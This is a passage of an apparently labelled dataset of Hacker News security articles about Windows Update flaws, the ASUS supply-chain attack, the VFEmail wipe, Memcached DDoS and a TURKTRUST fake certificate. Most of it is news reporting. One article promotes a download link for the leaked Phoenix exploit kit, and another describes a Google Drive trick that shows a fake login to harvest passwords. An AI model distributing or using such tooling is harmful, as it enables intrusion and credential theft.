""Our concern is that when plugging in a USB device, some of these drivers may have vulnerabilities that could be exploited for malicious purposes. Everyone is familiar with the 'searching for Drivers' and 'Windows Update' dialog boxes on their desktops – but these seemingly innocuous windows may be hiding some serious threats.""
So, now it can be a big security threat for the new Windows 10. Either the corporates are going to live in the era of old Windows or upgrade and welcome the malware!

The researchers demonstrated the hack at the Black Hat security conference in Las Vegas this week in a talk titled, WSUSpect: Compromising the Windows Enterprise via Windows Update [PDF].

",Malware
AirDroid vulnerability allows hackers to perform Dos attack from your Android device,https://thehackernews.com/2013/04/airdroid-vulnerability-allows-hackers.html,"A vulnerability in AirDroid application which provides wireless management of your Android phone or tablet from any browser on the same Wi-Fi network allow hackers to perform Dos attack from your Android device.


Cross Site scripting or XSS vulnerability in the browser version of AirDroid allows an attacker is able to send a malicious text message to the browser associated with the account when attacker is able to get access to a phone with AirDroid installed.

According to advisory posted by US-Cert, When this message is viewed on the AirDroid web interface an attacker can conduct a cross-site scripting attack, which may be used to result in information leakage, privilege escalation, and/or denial of service on the host computer.

Vulnerability is currently not patched and also AirDroid team didn't annouce any update regarding fix. As a general good security practice, only allow connections from trusted hosts and networks.

Flaw registered as CVE-2013-0134, and restricting access would prevent an attacker from accessing the AirDroid web interface using stolen credentials from a blocked network location.

",Vulnerability
Script Execution flaw in Google drive poses security threat,https://thehackernews.com/2013/03/script-exceution-flaw-in-google-drive.html,"Once again Google Security Team Shoot itself in the foot. Ansuman Samantaray, an Indian penetration tester discovered a small, but creative Security flaw in Google drive that poses phishing threat to million of Google users was ignored by Google Security team by replying that,""It is just a mare phishing attempt,not a bug in Google"".
According to Ansuman, he reported a JavaScript Script Execution vulnerability in Google Drive Files on 20th December 2012 to Google Security Team and but Google rejected the report on 21st December.

Ability to execute malicious script through Google drive files poses security threats, not just phishing attack, but an attacker able to extends the attack to malware spreading, etc.

The flaw exist in the way Google Drive preview the documents in the browser. Online preview of the files executing code written in doc files as HTML/JavaScript just by changing the value of a parameter called ""export"" in the URL.

ie. https://docs.google.com/uc?authuser=0&id=0B6mcoM7O55_jWXp2N2FvdHBVTTg&export=download .

When a Google user upload or create a file on Google Drive/Docs, then URL to that file having 'export' equals to ""download"" by default. So that user can download it.

But Ansuman found that if an attacker change this ""export"" parameter to ""view"", the malicious code written in the document file created by attacker will execute the code on browser.

ie. https://docs.google.com/uc?authuser=0&id=0B6mcoM7O55_jWXp2N2FvdHBVTTg&export=view

""Any internet user can enter malicious scripts in the application which when sent as an email to a victim user can steal user's information. Such attacks can be used to launch devastating XSS based attacks."" he said to 'The Hacker News'

For Demonstration purpose we have uploaded a file on Google Drive @ Here (with download value) and Here (with view). A simple JavaScript code is written to Prompt Fake password login option to Re-authenticated user to view the Document, as shown above:
If successful, a remote file will log victim's password (here) and redirect to Google Drive homepage.

This is now the First time, Google security team failed to analyse the possible threat level. Last week, another Google Drive Clickjacking Flaw was refused by Google, that later extends to phishing attack.

",Vulnerability
Chinese Hackers Steal Info from top secret U.S military data,https://thehackernews.com/2013/05/chinese-hackers-steal-info-from-top.html,"QinetiQ, a UK-based defense contractor suffers humiliation as intelligence officials confirmed that China was able to steal the U.S. classified documents and pertinent technological information all this because of QinetiQ's faulty decision-making.

QinetiQ North America (QQ) a world leading defense technology and security company providing satellites, drones and software services to the U.S. Special Forces deployed in Afghanistan and Middle East.

The hacking was so extensive that external consultants ended up more or less working permanently inside the firm to root out malicious software and compromises on an ongoing basis. In one of the attacks, that took place in 2009, the hackers raided at least 151 machines of the firm's Technology Solutions Group (TSG) over a 251-day period, stealing 20 gigabytes of data before being blocked.
As the White House moves to confront China over its theft of U.S. technology through hacking, policy makers are faced with the question of how much damage has already been done. 1.3 million pages of documents, including ones containing highly sensitive military information, were stolen at the time.

The agent had stumbled upon the breach as part of a separate investigation but apparently left out many key details including the fact that other contractors were being hit. Through 2008, is said to have treated the continuing pattern of hacks traced to its buildings as isolated incidents, including the compromise of 13,000 server passwords that attackers were used to help steal huge amounts of classified military engineering data.

QinetiQ committed the first mistake as it restricts its investigation on the first discovery of the spying. Even when NASA warned the firm that it was being attacked by hackers from one of QinetiQ's computers the firm apparently continued to treat incidents in isolation.

The hackers were able to exploit unpatched security flaws and other vulnerabilities across QNA to infiltrate multiple divisions of the company including Cyveillance, the company's cybersecurity unit. In 2010, HBGary, the security firm hacked in 2011 by Anonymous, was hired by QinetiQ along with Terremark to investigate the attacks. HBGary almost immediately identified malicious software on most of QinetiQ's computers.

The spying on QinetiQ and other defense contractors appears aimed at helping China leapfrog the U.S.'s technologically advanced military, foregoing years of research and development that would have cost billions of dollars

",Malware
Virus threat hit Israeli Foreign Ministry computers,https://thehackernews.com/2012/10/virus-threat-hit-israeli-foreign.html,"A number of Israel's government offices have fallen victim to a cyber attack over the past week, one apparently aimed at slipping a ""Trojan horse"" into the computer servers at these ministries.

Israeli police immediately pulled the national computer network from the civilian Internet after this cyber threat . A Trojan horse has been sent as files attached to emails bearing the name of the IDF Chief of Staff Benny Gantz in the subject line.

According to the reports from haaretz,A senior government clerk stressed that the threat facing the police was being investigated by experts. It is also not clear that either breach involved a wide-scale cyber-attack, or a virus infecting only a few computers.
Government employees were advised not to open their emails or Facebook messages if such strange activity was noticed. Dozens of identical emails were sent Wednesday to Israel embassies abroad and to Foreign Ministry employees in Israel.

The intelligence tip did not indicate the culprit behind the attack, but it appeared to be an external organization. The police are still trying to identify the source.

",Malware
"New Internet Explorer zero-day, Can trigger malware automatically",https://thehackernews.com/2012/10/new-internet-explorer-zero-day-can.html,"The new zero day exploit has been discovered and being exploited in the wild. This can be used to load malicious application on victim machines running fully patched Windows XP SP3 along with the latest editions of the IE 7 and IE 8 browser and Adobe's Flash software.

Eric Romang was examining one of the servers used to launch attacks on vulnerable Java installations in past, and he says that he has found a new zero day exploit for Microsoft's Internet Explorer web browser. He said, ""I can confirm, the zero-day season is really not over yet.""

AlienVault Labs researcher Jaime Blasco reported that, ""the gang behind the Java attacks in August and September may be moving on: with domains used in that attack located at new IP addresses and serving up the new and more potent attacks.""

As shown in above image example, the file exploit.html creates the initial vector to exploit the vulnerability and loads the flash file Moh2010.swf, which is a flash file encrypted using DoSWF. The Flash file is in charge of doing the heap spray. Then it loads Protect.html.

There results also shows that this zero day attack is being used in attacks that install the Poison Ivy Trojan. Metasploit has released a working exploit for this Zero-day.

Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Malware
Here's the List of ~600 MAC Addresses Targeted in Recent ASUS Hack,https://thehackernews.com/2019/03/asus-hack-mac-addresses.html,"EXCLUSIVE — While revealing details of a massive supply chain cyber attack against ASUS customers, Russian security firm Kaspersky last week didn't release the full list all MAC addresses that hackers hardcoded into their malware to surgically target a specific pool of users.

Instead, Kaspersky released a dedicated offline tool and launched an online web page where ASUS PC users can search for their MAC addresses to check whether they were in the hit list.

However, many believe it is not a convenient way for large enterprises with hundreds of thousands of systems to know if they were targeted or not.

List of MAC Addresses Targeted in ASUS Supply Chain Attack

To solve this and help other cybersecurity experts continue their hunt for related hacking campaigns, Australian security firm Skylight's CTO Shahar Zini contacted The Hacker News and provided the full list of nearly 583 MAC addresses targeted in the ASUS breach.

""If information regarding targets exists, it should be made publicly available to the security community so we can better protect ourselves,"" Skylight said in a post shared with The Hacker News.

""So, we thought it would be a good idea to extract the list and make it public so that every security practitioner would be able to bulk compare them to known machines in their domain.""

Skylight researchers retrieved the list of targeted MAC addresses with the help of the offline tool Kaspersky released, which contains the full list of 619 MAC addresses within the executable, but protected using a salted hash algorithm.

They used a powerful Amazon server and a modified version of HashCat password cracking tool to brute force 583 MAC addresses in less than an hour.
""Enter Amazon's AWS p3.16xlarge instance. These beasts carry eight (you read correctly) of NVIDIA's V100 Tesla 16GB GPUs. The entire set of 1300 prefixes was brute-forced in less than an hour.""

ASUS Hack: Operation ShadowHammer

It was revealed last week that a group of state-sponsored hackers managed to hijack ASUS Live automatic software update server last year and pushed malicious updates to over one million Windows computers worldwide in order to infect them with backdoors.

As we reported last week, Kaspersky discovered the attack, which it dubbed Operation ShadowHammer, after its 57,000 users were infected with the backdoored version of ASUS LIVE Update software.

The security company then informed ASUS about the ongoing supply chain attack campaign on Jan 31, 2019.

After analyzing more than 200 samples of the malicious updates, researchers learned that the hackers, who are not yet attributed to any APT group, only wanted to target a specific list of users identified by their unique MAC addresses, which were hardcoded into the malware.

Though the second stage malware was only pushed to nearly 600 targeted users, it doesn't mean that millions of ASUS computers which received the malicious software update are not compromised.

How to Check if Your ASUS Laptop Has Been Hacked?

After admitting that an unknown group of hackers hacked its servers between June and November 2018, ASUS this week released a new clean version of its LIVE Update application (version 3.6.8) and also promised to add ""multiple security verification mechanisms"" to reduce the chances of further attacks.

However, you should know that just installing the clean version of the software update over the malicious package would not remove the malware code from the infected systems.

So, to help its customers know if they were a victim of the attack, ASUS also released a diagnostic tool using which you can check whether your ASUS system was affected by the malicious update.

If you find your computer MAC address in the list, it means your computer has been backdoored by the malicious update, and ASUS recommends you perform a factory reset to wipe up the entire system.

The identity of hackers and their intentions are still unknown. The Hacker News will update you with any new developments.

",Cyber_Attack
Patch Report: All Versions of Windows affected by Critical Vulnerability,https://thehackernews.com/2015/10/windows-patch-update.html,"Microsoft has rolled out six security updates this Patch Tuesday, out of which three are considered to be ""critical,"" while the rest are marked as ""important.""

Bulletin MS15-106 is considered to be critical for Internet Explorer (IE) and affects absolutely all versions of Windows operating system.

The update addresses a flaw in the way IE handles objects in memory. The flaw could be exploited to gain access to an affected system, allowing hackers to gain the same access rights as the logged-in user.

A hacker could ""take advantage of compromised websites, and websites that accept or host user-provided content or advertisements,"" the advisory states. ""These websites could contain specially crafted content that could exploit the vulnerabilities.""

Therefore, the dependency here is that an IE user must knowingly click on the malicious link, which then be leveraged by an attacker to get the full control over a computer that's not yet running the patch.

So, users of Windows Vista, 7, 8, 8.1, and Windows 10 are advised to install this update as soon as possible.

And, if you have not yet patched your PCs against this flaw, just make sure you do not click any suspicious links or websites landing in your inbox.

The other two patch updates, MS15-108, and MS15-109, address other critical flaws in Windows.

Bulletin MS15-108 addresses four vulnerabilities including a Remote Code Execution (RCE) vulnerability in Windows. It resolves vulnerabilities in the VBScript and JScript scripting engines in Windows.
Microsoft's advisory states: ""The more severe of the vulnerabilities could allow remote code execution if an attacker hosts a specially crafted website that is designed to exploit the vulnerabilities through Internet Explorer (or leverages a compromised website or a website that accepts or hosts user-provided content or advertisements) and then convinces a user to view the website.""
The third and last critical security update, MS15-109, also addresses Remote Code Execution (RCE) flaws in Windows as well as packages a security update for Windows Shell.

The vulnerability could be exploited if a user opens a specially crafted toolbar object in Windows, or an attacker tricks a user to view specially crafted content posted online.

The company also rolled out three other patches – MS15-107, MS15-110, and MS15-111 – to address vulnerabilities in Windows, Microsoft Edge browser, Office, Office Services and Web Apps, and Server. All these bulletins are marked as ""important"".

All the updates are necessary, and we advise Windows users and administrators to install the new updates as soon as possible.

For the updates, you will have to follow the same method of downloading and installing the Windows update for your system.

",Vulnerability
Hackers Destroyed VFEmail Service – Deleted Its Entire Data and Backups,https://thehackernews.com/2019/02/vfemail-cyber-attack.html,"What could be more frightening than a service informing you that all your data is gone—every file and every backup servers are entirely wiped out?

The worst nightmare of its kind. Right?

But that's precisely what just happened this week with VFEmail.net, a US-based secure email provider that lost all data and backup files for its users after unknown hackers destroyed its entire U.S. infrastructure, wiping out almost two decades' worth of data and backups in a matter of few hours for no apparent reason.

Started in 2001 by Rick Romero, VFEmail provides secure, private email services to companies and end users, both free and paid-for.

Describing the attack as ""catastrophic,"" the privacy-focused email service provider revealed that the attack took place on February 11 and that ""all data"" on their US servers—both the primary and the backup systems—has been completely wiped out, and it's seemingly beyond recovery.
""Yes, @VFEmail is effectively gone,"" Romero wrote on Twitter Tuesday morning. ""It will likely not return. I never thought anyone would care about my labor of love so much that they'd want to completely and thoroughly destroy it.""
The VFEmail team detected the attack on February 11 itself after it noticed all the servers for his service went offline without any notice.
After two hours, the company reported that the attackers had been caught ""in the middle of formatting its backup server,"" saying that it ""fear all US-based data may be lost.""

However, shortly after that VFEmail confirmed that ""all the disks on every server"" had been wiped out, virtually erasing the company's entire infrastructure, including mail hosts, virtual machine hosts, and a SQL server cluster, within just a few hours.

""Strangely, not all VMs shared the same authentication, but all were destroyed,"" VFEmail explained. ""This was more than a multi-password via ssh exploit, and there was no ransom. Just attack and destroy,""—a rare example of a purely destructive attack.

Although it is yet unclear who was behind this destructive attack and how the hack was pulled off, a statement posted to the company's website pointed to an IP address 94[.]155[.]49[.]9 and the username ""aktv,"" which appears to be registered in Bulgaria.

Romero believes the hacker behind the above-mentioned IP address most likely used a virtual machine and multiple means of access onto the VFEmail infrastructure to carry out the attack, and as a result, no method of protection, such as 2-factor authentication, would have protected VFEmail from the intrusion.

The official website has now been restored and running, but all secondary domains still remain unavailable. If you are an existing user, expect to find your inboxes empty.

This isn't the first time the company has been attacked. In 2015, a group of hackers known as the ""Armada Collective,"" who also targeted Protonmail, Hushmail, and Runbox, launched a DDoS attack against VFEmail after it refused to pay a ransom.

",Cyber_Attack
"Advance Ethical Hacking and Cyber Security Boot Camp at Delhi, India",https://thehackernews.com/2012/04/advance-ethical-hacking-and-cyber.html,"Have you ever wondered how Hackers or Black Hats hack into a computer system ? Our Hacker Boot Camp training session will teach you how this can be done. You will be shown the techniques, tools and methods that the hacker uses. This insight will help you understand how to better protect your IT architecture and identify the vectors of attack that hackers use.

The Hacker News organising an Advance Ethical Hacking and Cyber Security Boot Camp at Delhi, India. All of our instructors are experts in their field and maintain respected reputations within the security community.

CCSN is a revolutionary new certification in the field of information security training program for amateurs and professionals to help you gain the skills you need to become an expert in the field of information security.

This specialized certification assures potential employers and customers that you have a level of advanced knowledge to detect and offer support for some of the most advanced security vulnerabilities. The CCSN is the only completely hands-on, real world oriented security certification.

Batches with limited Registrations in order to provide best Training Quality and Personal Interaction between students and Trainers. Course comes with a custom-built practical labs specially designed to clear up concepts, reinforce techniques, and make you comfortable with the tools of the trade.

Many companies are actively recruiting security specialists and this training will help to prepare you for senior technical and management positions in many industry sectors.

To get Registration and Details, Please do Email to info@thehackernews.com

Course Outline:

Php, Database and Linux - These are Pre-Required Knowledge that students will learn within CCSN package.
Information Gathering and Scanning - Enumeration using various Backtrack Tools
Privacy is the number one issue facing by internet users. You will learn to use Proxy Servers, Anonymity Techniques, Various Tools, Tunneling & VPN usage and Concepts.
Email Hacking & Social Engineering - If you ever wonder how hackers actually hack into any email account? This Lesson is going to give each and every possible solution of this Question.
Cryptography and Encryption Basics, Understanding various Hashes and Encryption Algorithms and various password cracking techniques.
Camp will include various types techniques that can be used to Hack a System, Cracking system password, Using Stealers, Key loggers and Remote Administrations Tools (RATs) and Creating Undetectable Viruses using Crypters, Binders and Assembly Codes.
Web Application Hacking using - Advance SQL Injection, Cross Site Scripting, Local File Inclusion (LFI), Remote File Inclusion (RFI), Parameter Manipulation, Session and Cookies Hijacking, Click Jacking, Shell Injection, Brute force Attacks against Website login pages.
Server Hacking via Rooting Servers, Remote Code Execution, Buffers Overflows, Brute force against Servers, Using Dos, DDos and Creating Botnets, Using various Exploits and Exploits Databases.
Understanding Wireshark, Cain & Abel and TCP Dump, Man in the middle attacks, Router Hacking, Sniffing Data and Passwords, ARP , DNS, DHCP Spoofing attacks, DNS poising , DOS attack against an IP address, Flood the LAN with random MAC addresses, Packet Injection.
In labs of this lesson a CCSN student will learn practically to crack Wireless Encryptions and Prevention Techniques. The Complete Demonstration will have various real World scenarios to clear the Advantages of Wireless Hacking.
Using Wikto, Nessus , skipfish, w3af, SQLmap Websecurify for vulnerability Scanning and ExploitingII. Wordpress-scan , Drupal scan, Joomscan, cms-explorer for CMS Hacking and Pen-testing.
Using Metasploit Framework for Exploitation, Websploit, SET, Fast-Track SQL Pwnage, Winautopwn for various System/Network/web Attacks.
Using IP tables and Firewalls Policies to Protect Network/ System, Installing and Configuring Honeypots to trap hackers, Installing and Configuring IDS (Intrusion Detection System).
Computer Forensics and Incident Management.
Prerequisites : Dedication! Because Rest base programming and other things Students will learn within CCSN package.

Course Date
21th May 2012
No. of Seats
50
Course Duration
15 Days (6 Hours/Day)
Who can join this Course
Students, Professionals, Programmers, Developers, Security Enthusiasts

To get Registration and Details, Please do Email to info@thehackernews.com

",Malware
"Over 15,000 Memcached DDoS Attacks Hit 7,100 Sites in Last 10 Days",https://thehackernews.com/2018/03/memcached-ddos-attack.html,"Memcached reflections that recently fueled two most largest amplification DDoS attacks in the history have also helped other cybercriminals launch nearly 15,000 cyber attacks against 7,131 unique targets in last ten days, a new report revealed.

Chinese Qihoo 360's Netlab, whose global DDoS monitoring service 'DDosMon' initially spotted the Memcached-based DDoS attacks, has published a blog post detailing some new statistics about the victims and sources of these attacks.

The list of famous online services and websites which were hit by massive DDoS attacks since 24th February includes Google, Amazon, QQ.com, 360.com, PlayStation, OVH Hosting, VirusTotal, Comodo, GitHub (1.35 Tbps attack), Royal Bank, Minecraft and RockStar games, Avast, Kaspersky, PornHub, Epoch Times newspaper, and Pinterest.

Overall, the victims are mainly based in the United States, China, Hong Kong, South Korea, Brazil, France, Germany, the United Kingdom, Canada, and the Netherlands.

According to Netlab researchers, the frequency of attacks since 24th February has increased dramatically, as listed below:
Before 24th February, the day when Memcached-based DDoS attacks were first spotted, the daily average was less than 50 attacks.
Between 24th and 28th February, when Memcached as a new amplification attack vector was not publicly disclosed and known to a small group of people, the attacks raised to an average of 372 attacks per day.
Soon after the first public report came on 27th February, between 1st and 8th March, the total number of attacks jumped to 13,027, with an average of 1,628 DDoS attack events per day.

Netlab's 360 0kee team initially discovered the Memcached vulnerability in June 2017 and disclosed (presentation) it in November 2017 at a conference, but its researchers have hardly seen any Memcache DDoS attacks since then.

The maximum number of active vulnerable Memcached servers at a time that participated in the DRDoS attacks was 20,612.

I don't want to exaggerate this but expect hundreds of thousands of Memcached-based DDoS attacks in coming days, as hackers and researchers have now released multiple easy-to-execute exploits that could allow anyone to launch Memcached amplification attacks.

However, researchers have also discovered a 'kill-switch' technique that could help victims mitigate Memcached DDoS attacks efficiently.

Despite multiple warnings, over 12,000 vulnerable Memcached servers with UDP support enabled are still exposed on the Internet, which could fuel more cyber attacks.

Therefore, server administrators are strongly advised to install the latest Memcached 1.5.6 version which disables UDP protocol by default to prevent amplification/reflection DDoS attacks.

",Cyber_Attack
Zero-Day Remote 'Root' Exploit Disclosed In AT&T DirecTV WVB Devices,https://thehackernews.com/2017/12/directv-wvb-hack.html,"Security researchers have publicly disclosed an unpatched zero-day vulnerability in the firmware of AT&T DirecTV WVB kit after trying to get the device manufacturer to patch this easy-to-exploit flaw over the past few months.

The problem is with a core component of the Genie DVR system that's shipped free of cost with DirecTV and can be easily exploited by hackers to gain root access and take full control of the device, placing millions of people who've signed up to DirecTV service at risk.

The vulnerability actually resides in WVBR0-25—a Linux-powered wireless video bridge manufactured by Linksys that AT&T provides to its new customers.

DirecTV Wireless Video Bridge WVBR0-25 allows the main Genie DVR to communicate over the air with customers' Genie client boxes (up to 8) that are plugged into their TVs around the home.

Trend Micro researcher Ricky Lawshae, who is also a DirecTV customer, decided to take a closer look at the device and found that Linksys WVBR0-25 hands out internal diagnostic information from the device's web server, without requiring any authentication.
When trying to browse to the wireless bridge's web server on the device, Lawshae was expecting a login page or similar, but instead, he found ""a wall of text streaming before [his] eyes.""

Once there, Lawshae was able to see the output of several diagnostic scripts containing everything about the DirecTV Wireless Video Bridge, including the WPS pin, connected clients, running processes, and much more.

What's more worrisome was that the device was accepting his commands remotely and that too at the ""root"" level, meaning Lawshae could have run software, exfiltrate data, encrypt files, and do almost anything he wanted on the Linksys device.
""It literally took 30 seconds of looking at this device to find and verify an unauthenticated, remote root command injection vulnerability. It was at this point that I became pretty frustrated,"" Lawshae wrote in an advisory published Wednesday on Trend Micro-owned Zero Day Initiative (ZDI) website.
""The vendors involved here should have had some form of secure development to prevent bugs like this from shipping. More than that, we as security practitioners have failed to affect the changes needed in the industry to prevent these simple yet impactful bugs from reaching unsuspecting consumers.""
Lawshae also provided a video, demonstrating how a quick and straightforward hack let anyone get a root shell on the DirecTV wireless box in less than 30 seconds, granting them full remote unauthenticated admin control over the device.
The vulnerability was reported by the ZDI Initiative to Linksys more than six months ago, but the vendor ceased communication with the researcher and had yet not fixed the problem, leaving this easy-to-exploit vulnerability unpatched and open for hackers.

So, after over half a year, ZDI decided to publicize the zero-day vulnerability, and recommended users to limit their devices that can interact with Linksys WVBR0-25 ""to those that actually need to reach"" in order to protect themselves.

",Vulnerability
Duqu Trojan developed in unknown programming language,https://thehackernews.com/2012/03/duqu-trojan-developed-in-unknown.html,"Duqu Trojan developed in unknown programming language
Researchers at Kaspersky have reached out for assistance after an investigation into the Duqu Trojan uncovered a section that is written in an unknown programming language.

The Russian security company says this new information could help them discover how the worm was able to communicate with its Command and Control (C&C) servers. The C&C servers essentially tell the worm what to do once it has accessed a system.

While the majority of Duqu is written in C++, the Framework was not and was not compiled with Microsoft's Visual C++ 2008. Other languages ruled out include Python, Java, Objective C, Ada and Lua.""Given the size of the Duqu project, it's possible that an entirely different team was responsible for creating the Duqu Framework as opposed to the team that created the drivers and wrote the system infection exploits,"" said Alexander Gostev, chief security expert at Kaspersky Lab, in a statement.

The mysterious code could be the work of a separate collaborator, indiciating that multiple parties worked to develop the infection. Kaspersky is hoping that someone in the programming community will recognize it and come forward to identify it. Identification of the language could help analysts build a profile of DuQu's authors, particularly if they can tie the language to a group of people known to use this specialized programming language or even to people who were behind its development.

Duqu first emerged in September 2011 and is thought to have been written by the same people behind the infamous Stuxnet worm, which targeted Iran's nuclear facilities and attempted to steal highly sensitive information. Duqu worked along the same lines; acting as a backdoor into a system to steal data.

Researchers have noted a number of similarities in the behaviour and spread of Duqu with the infamous Stuxnet malware, leading some researchers to dub Duqu as the successor to Stuxnet.

",Malware
"Phoenix exploit kit 2.5 leaked, Download Now !",https://thehackernews.com/2011/04/phoenix-exploit-kit-25-leaked-download.html,"Phoenix exploit kit 2.5 leaked, Download Now !


Phoenix exploit kit 2.5 has been leaked .

Now U can dowload from given link.. At below here is a some define about Phoenix Exploit Kit.

The Phoenix Exploit Kit is a good example of exploit packs used to exploit vulnerable software on the computers of unsuspecting Internet users. Often, cybercriminals drive traffic to the exploit kit by compromising legitimate sites and by inserting iframes that point to the exploit kit or by poisoning search engine results that take users to the exploit kit.

When users land on a page injected with the exploit kit, it detects the user's Web browser and OS version then attempts to exploit either the browser or a browser plug-in. The latest version of the Phoenix Exploit Kit currently has payloads for nine different system configurations, including:

* XPIE7: Internet Explorer 7 and either Windows XP, Windows XP SP2, or Windows 2003
* VISTAIE7: Internet Explorer 7 and Windows Vista
* XPIE8: Internet Explorer 8 and either Windows XP, Windows XP SP2, or Windows 2003
* VISTAIE8: Internet Explorer 8 and Windows Vista
* IE: Versions of Internet Explorer that are not IE7 or IE8
* WIN7IE: Internet Explorer and Windows 7
* XPOTHER: Browsers other than Internet Explorer on Windows XP, Windows XP SP2, or Windows 2003
* VISTAOTHER: Browsers other than Internet Explorer on Windows Vista
* WIN7OTHER: Browsers other than Internet Explorer on Windows 7

Once users are directed to a payload page, the kit attempts to exploit vulnerabilities in versions of Adobe Acrobat Reader, Adobe Flash Player, Internet Explorer, and Java.

Java has become the leading exploit vector for a variety of exploit packs. In fact, Phoenix Exploit Kit 2.5 has been updated to include three additional Java exploits, namely:

* JAVA RMI
* JAVA MIDI
* JAVA SKYLINE

The administration panel of Phoenix Exploit Kit 2.5 contains an option to switch modes, which changes the Java exploit delivered to users. It allows the administrator to choose from among TC (CVE-2010-0840), RMI, or MIDI. This indicates that exploits for Java have become very attractive to malware distributors.


Download : https://www.multiupload.com/L7APNI8KGX
( Thanks to my frnd flexxpoint for this )

",Malware
Fake Turkish digital Certificates blocked by Browser vendors,https://thehackernews.com/2013/01/fake-turkish-digital-certificates.html,"It's the news of the day, a fraudulent digital certificate that could be used for active phishing attacks against Google's web properties. Using the certificate it is possible to spoof content in a classic phishing schema or perform a man-in-the-middle attack according Google Chrome Security Team and Microsoft experts.

Microsoft has been immediately started the procedure to update its Certificate Trust list (CTL) and all versions of its OSs to revoke the certificate. Microsoft has also decided to revoke other two certificates for the same reason, it seems that some attacks using the first certificate have been already detected, fraudulent digital certificate that was mistakenly issued by a domain registrar run by a Turkish domain registrar.

Microsoft has issued a security advisory ""Microsoft Security Advisory (2798897) -Fraudulent Digital Certificates Could Allow Spoofing"" that states:

""Microsoft is aware of active attacks using one fraudulent digital certificate issued by TURKTRUST Inc., which is a CA present in the Trusted Root Certification Authorities Store. This fraudulent certificate could be used to spoof content, perform phishing attacks, or perform man-in-the-middle attacks. This issue affects all supported releases of Microsoft Windows.


TURKTRUST Inc. incorrectly created two subsidiary CAs (*.EGO.GOV.TR and e-islem.kktcmerkezbankasi.org). The *.EGO.GOV.TR subsidiary CA was then used to issue a fraudulent digital certificate to *.google.com. This fraudulent certificate could be used to spoof content, perform phishing attacks, or perform man-in-the-middle attacks against several Google web properties.

To help protect customers from the fraudulent use of this digital certificate, Microsoft is updating the Certificate Trust list (CTL) and is providing an update for all supported releases of Microsoft Windows that removes the trust of certificates that are causing this issue.""

It's still unknown which is the real target of attack neither their geographic distribution, Microsoft advisory refers the domain kktcmerkezbankasi.org a web site that present itself as the Central Bank of the Turkish Republic of Northern Cyprus (TRNC).

Google On-Line Security Blog published a blog post that reported that on Dec. 24, 2012, its Chrome Web browser detected and blocked an unauthorized digital certificate for the ""*.google.com"" domain.
The post states:

""We investigated immediately and found the certificate was issued by an intermediate certificate authority (CA) linking back to TURKTRUST, a Turkish certificate authority. Intermediate CA certificates carry the full authority of the CA, so anyone who has one can use it to create a certificate for any website they wish to impersonate.

In response, we updated Chrome's certificate revocation metadata on December 25 to block that intermediate CA, and then alerted TURKTRUST and other browser vendors. TURKTRUST told us that based on our information, they discovered that in August 2011 they had mistakenly issued two intermediate CA certificates to organizations that should have instead received regular SSL certificates.""

In a blog post published a In 2011 I explained which is the usefulness to steal a CA certificate:
Malware production - Installation for certain types of software could needs that its code is digitally signed with a trusted certificate. By stealing the certificate of a trusted vendor reduces the possibility that the malicious software being detected as quickly. That is exactly what happend for Stuxnet virus.
Economic Frauds - digital signature give a warranty on who signed a document and you can decide if you trust the person or company who signed the file and if you trust the organization who issued the certificate. If a digital certificate is stolen we will suffer of an identity theft, let's imagine which could be the implication. Some bot, like happened for the banking with Zeus malware, could be deployed to steal steal site certificates so that they can fool web browsers into thinking that a phishing site is a legitimate bank web site.
Cyber warfare - Criminals or governments could use the stolen certificates to conduct ""man-in-the-middle"" attacks, tricking users into thinking they were at a legitimate site when in fact their communications were being secretly tampered and intercepted. That is for example what occurred in the DigiNota case … companies like Facebook, Google and also agencies like CIA, MI6 were targeted in Dutch government certificate hack.
The security repercussions are very critical, any attacker with the possibility to sign using a certificate of a CA can sign certificates for any domain. In the past we have already observed similar incidents, such as the case of Diginotar CA, learning how much dangerous is the impairment of a CA.
Who will be next?

",Malware
FBI — Botnets Infecting 18 Computers per Second. But How Many of Them NSA Holds?,https://thehackernews.com/2014/07/fbi-botnets-infecting-18-computers-per.html,"Botnets - a secretly compromised networks of ordinary home and office computers with rogue software or ""malware"" that are controlled by an individual criminal or a group - has dramatically increased over the past several years and are considered to pose the biggest threat to the Internet.

Cyber criminals have brushed-up their hacking skills and are using Botnets as a cyber weapon to carry out multiple crimes like DDoS attacks (distributed denial of service), mass spamming, page rank and advertising revenue manipulation, mining bitcoins, cyber espionage and surveillance etc.

18 BOTNET INFECTIONS PER SECOND
According to the director of FBI's cyber division, Joseph Demarest, Botnet has become one of the biggest enemies of the Internet today, and therefore its impact has been significant. Yesterday during a hearing before a U.S. Senate committee, he says that every second 18 computers worldwide are part of botnet armies, which amounts to over 500 million compromised computers per year.

The network of compromised systems can do a drastic cyber crime activities without the knowledge of their computer's owner. Botnet allows its operator to steal personal and financial information, get into system owners' bank accounts, steal millions of credit cards, shut down websites, monitor your every keystroke and can even activate systems' cameras secretly which can take users' at great risk.

On Tuesday, a U.S. Senate committee assembled to discuss the progress of FBI agency's current and future anti-cyber crime strategy to disrupt Botnets, with agenda: ""Taking Down Botnets: Public and Private Efforts to Disrupt and dismantle Cyber Criminal Networks.""

BOTNET FETCHED MILLIONS OF DOLLARS
Joseph Demarest said the news is troubling as the botnets' high infection rate costs the US and global economies billions of dollars. Several successes ""But our work is never done,"" noted the FBI chief.
""The use of botnets is on the rise. Industry experts estimate that botnet attacks have resulted in the overall loss of millions of dollars from financial institutions and other major US businesses,"" Demarest said.
""As you well know, we face cyber threats from state-sponsored hackers, hackers for hire, organized cyber syndicates, and terrorists. They seek our state secrets, our trade secrets, our technology, and our ideas—things of incredible value to all of us.""
TWO FACES OF THE SAME GOVERNMENT - FBI & NSA
FBI trying to take down cyber criminals and putting its all effort to shut down botnet networks - which really sounds cool! But could you answer me that 'How NSA is conducting its wider spread mass surveillance program..??' Yes, of course, with the use of similar exploits and botnet malware. It was revealed few months ago from the Edward Snowden leaks that NSA is taking over entire networks of already-hacked machines (Botnets) and using them for their own purposes.

Also at the end of last year, Dutch newspaper NRC Handelsblad reported that the document leaked by Snowden also revealed that NSA had established an army of ""sleeper cells"" – malware-infected, remote-controllable computers – on 50,000 networks by the middle of 2012, which waits for months or longer before it activates by the agency and begins harvesting data.

So, when one side of U.S. government is trying every effort to shut down the widely spread botnet networks and at the same time, the other side of government is building up their weapons with the use of similar malwares and botnets, it is difficult to mitigate the problem and, this unbalanced situation of the Internet is the main cause of terror in the digital world.

Well, botnets, malware, viruses, worms and other cyber threats are really a big issue for all of us, and also these attacks become more sophisticated and wider when become money motivated.

